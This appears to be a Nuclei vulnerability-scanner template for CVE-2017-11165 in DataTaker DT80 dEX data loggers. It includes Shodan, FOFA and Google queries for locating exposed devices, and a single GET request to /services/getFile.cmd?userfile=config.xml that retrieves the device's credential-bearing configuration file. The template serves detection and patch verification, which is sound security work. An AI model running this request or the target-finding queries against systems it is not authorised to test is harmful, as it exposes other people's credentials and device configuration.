id: CVE-2017-11165

info:
  name: DataTaker DT80 dEX 1.50.012 - Information Disclosure
  author: theabhinavgaur
  severity: critical
  description: |
    DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive data, potentially compromising the confidentiality of the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45094
    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
    - https://www.exploit-db.com/exploits/42313/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-11165
    cwe-id: CWE-200
    epss-score: 0.90582
    epss-percentile: 0.9963
    cpe: cpe:2.3:o:datataker:dt80_dex_firmware:1.50.012:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: datataker
    product: dt80_dex_firmware
    shodan-query: http.title:"datataker"
    fofa-query: title="datataker"
    google-query: intitle:"datataker"
  tags: cve2017,cve,lfr,edb,datataker,config,packetstorm,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "COMMAND_SERVER"
          - "<loggerSettings>"
          - "config id=\"config"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022024ae47537438992bc5b30f10c7329c954081140caae841f6af0aa29218742a4b02210080a92377ecb86b19e3c92051713f4e5d7ae53fd3df3bac75d54784f9c5ac76be:922c64590222798bb761d5b6d8e72950